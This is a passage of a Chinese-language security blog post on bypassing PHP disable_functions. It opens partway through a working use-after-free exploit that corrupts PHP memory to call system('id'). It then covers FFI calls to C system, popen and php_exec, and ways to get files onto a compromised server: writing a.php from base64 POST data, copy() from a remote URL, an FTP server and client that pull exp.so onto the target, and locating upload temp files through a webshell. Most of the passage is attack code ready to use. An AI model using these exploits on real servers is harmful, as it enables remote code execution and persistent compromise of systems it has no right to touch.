if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
{
$leaked_str_offsets[] = $offset;
$leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
if(count($leaked_str_zval) == 3)
break;
}
}
if(count($leaked_str_zval) != 3)
die('Exploit failed: unable to leak three zend_strings');
# free the strings, except the three we need
$strs = null;
# Leak adress of first chunk
unset($leaked_str_zval[0]);
unset($leaked_str_zval[1]);
unset($leaked_str_zval[2]);
$first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);
# At this point we have 3 freed chunks of size 40, which we can read/write,
# and we know their address.
print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");
# In the third one, we will allocate a DLL element which points to a zend_array
$rw_dll->push([3]);
$array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
# Change the zval type from zend_object to zend_string
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
if(gettype($rw_dll[0]) != 'string')
die('Exploit failed: Unable to change zend_array to zend_string');
# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()
# Read zend_array->pDestructor
$zval_ptr_dtor_addr = read($array_addr + 0x30);
print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");
# Use it to find zif_system
$system_addr = get_system_address($zval_ptr_dtor_addr);
print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
$rw_dll->push(function ($x) {});
$closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
$data = str_shuffle(str_repeat('A', 0x200));
for($i = 0; $i < 0x138; $i += 8)
{
i2s($data, $i, read($closure_addr + $i));
}
# Change internal func type and pointer to make the closure execute system instead
i2s($data, 0x38, 1, 4);
i2s($data, 0x68, $system_addr);
# Push our string, which contains a fake zend_closure, in the last freed chunk that
# we control, and make the second zval point to it.
$rw_dll->push($data);
$fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
# Calling it now
print('Running system("id");' . "\n");
$rw_dll[1]('id');
print_r('DONE'."\n");
}
}
class DanglingTrigger
{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
global $dlls;
#D print('__destruct: ' . $this->i . "\n");
$dlls[$this->i]->offsetUnset(0);
$dlls[$this->i+1]->push(123);
$dlls[$this->i+1]->offsetUnset(0);
}
}
class SystemExecutor extends ArrayObject
{
function offsetGet($x)
{
parent::offsetGet($x);
}
}
/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
function read($addr, $s=8)
{
global $fake_dll_element, $leaked_str_offsets, $rw_dll;
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
$value = strlen($rw_dll[0]);
if($s != 8)
$value &= (1 << ($s << 3)) - 1;
return $value;
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++)
{
$addr = $start - 0x1000 * $i;
$leak = read($addr, 7);
# ELF header
if($leak == 0x10102464c457f)
return $addr;
}
# We'll crash before this but it's clearer this way
die('Exploit failed: Unable to find ELF header');
}
function parse_elf($base)
{
$e_type = read($base + 0x10, 2);
$e_phoff = read($base + 0x20);
$e_phentsize = read($base + 0x36, 2);
$e_phnum = read($base + 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = read($header + 0x00, 4);
$p_flags = read($header + 0x04, 4);
$p_vaddr = read($header + 0x10);
$p_memsz = read($header + 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
die('Exploit failed: Unable to parse ELF');
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = read($data_addr + $i * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = read($data_addr + ($i + 4) * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = read($addr);
$f_name = read($f_entry, 6);
if($f_name == 0x6d6574737973) { # system
return read($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function get_system_address($binary_leak)
{
$base = get_binary_base($binary_leak);
print('ELF base: 0x' .dechex($base) . "\n");
$elf = parse_elf($base);
$basic_funcs = get_basic_funcs($base, $elf);
print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
$zif_system = get_system($basic_funcs);
return $zif_system;
}
$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();
# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
$dlls[$i] = new SplDoublyLinkedList();
$dlls[$i]->push(new DanglingTrigger($i));
$dlls[$i]->rewind();
}
# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
$strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($strs[$i], 0, STR_MARKER);
i2s($strs[$i], 8, $i, 7);
}
# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);
# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();
# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);利用 FFI 扩展
PHP FFI（Foreign Function interface），提供了高级语言直接的互相调用，而对于PHP而言，FFI让我们可以方便的调用C语言写的各种库。
- PHP >= 7.4
- 开启了 FFI 扩展且
ffi.enable=true
当PHP所有的命令执行函数被禁用后，通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式，先声明C中的命令执行函数或其他能实现我们需求的函数，然后再通过FFI变量调用该C函数即可Bypass disable_functions
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
$ffi -> system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txtC库的system函数调用shell命令，只能获取到shell命令的返回值，而不能获取shell命令的输出结果，如果想获取输出结果我们可以用popen函数来实现。popen()函数会调用fork()产生子进程，然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。
popen()会建立管道连到子进程的标准输出设备或标准输入设备，然后返回一个文件指针。随后进程便可利用此文件指针使用C库的fgetc等函数来读取子进程的输出设备或是写入到子进程的标准输入设备中。
$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");
$o = $ffi->popen("ls /","r");
$d = "";
while(($c = $ffi->fgetc($o)) != -1){
$d .= str_pad(strval(dechex($c)),2,"0",0);
}
$ffi->pclose($o);
echo hex2bin($d);还可以利用FFI调用php源码，比如php_exec()函数就是php源码中的一个函数，当他参数type为3时对应着调用的是passthru()函数，其执行命令可以直接将结果原始输出
$ffi = FFI::cdef("int php_exec(int type, char *cmd);");
$ffi -> php_exec(3,"ls /");文件传输的戏法
蚁剑直接传
要求fputs,fwrite函数不被禁用
使用文件操作函数
如使用base64配合fopen, fputs, fwrite, file_put_contents
file_put_contents("a.php",base64_decode($_POST['a']))copy函数
copy("http://网址/文件", "文件保存路径");move_uploaded_file函数，POST上传文件即可
move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);FTP上传
server
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)
server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()client
<?php
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
?>使用XML相关类写文件
SimpleXMLElement
$xml = new SimpleXMLElement([xml-data]);
$xml->asXML([filename]);DOMDocument
$d=new DOMDocument();
$d->loadHTML("[base64-data]");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=[filename]")文件上传临时文件
文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由php.ini的upload_tmp_dir属性指定，假如upload_tmp_dir的路径不可写，PHP会上传到系统默认的临时目录中，在上传存储到临时目录后，临时文件命名的规则如下: 默认为 php+4或者6位随机数字和大小写字母 php[0-9A-Za-z]{3,4,5,6}，上传完成则删除
这里可以使用用glob伪协议去锁定临时文件
var_dump(scandir('/tmp'));
$a=scandir("glob:///tmp/php*");
$filename="/tmp/".$a[0];
var_dump($filename);如果向我们的一句话木马POST的话，当然也可以使用以下代码来获取临时文件名
$_FILES['file']['tmp_name']本文采用CC-BY-SA-3.0协议，转载请注明出处 Author: ph0ebus
本文参与 腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。
原始发表：2023-08-23，如有侵权请联系 cloudcommunity@tencent.com 删除
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